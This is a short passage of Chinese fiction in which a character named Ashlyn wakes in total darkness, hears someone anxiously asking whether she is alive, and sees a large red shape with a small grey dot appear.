阿什琳努力睁开眼,接着怀疑她到底是否睁开了眼。四周漆黑一片,一无所有。 “阿什琳!你还好嘛?你活着吗?” 一抹巨大的红色伴随着一个小灰点出现。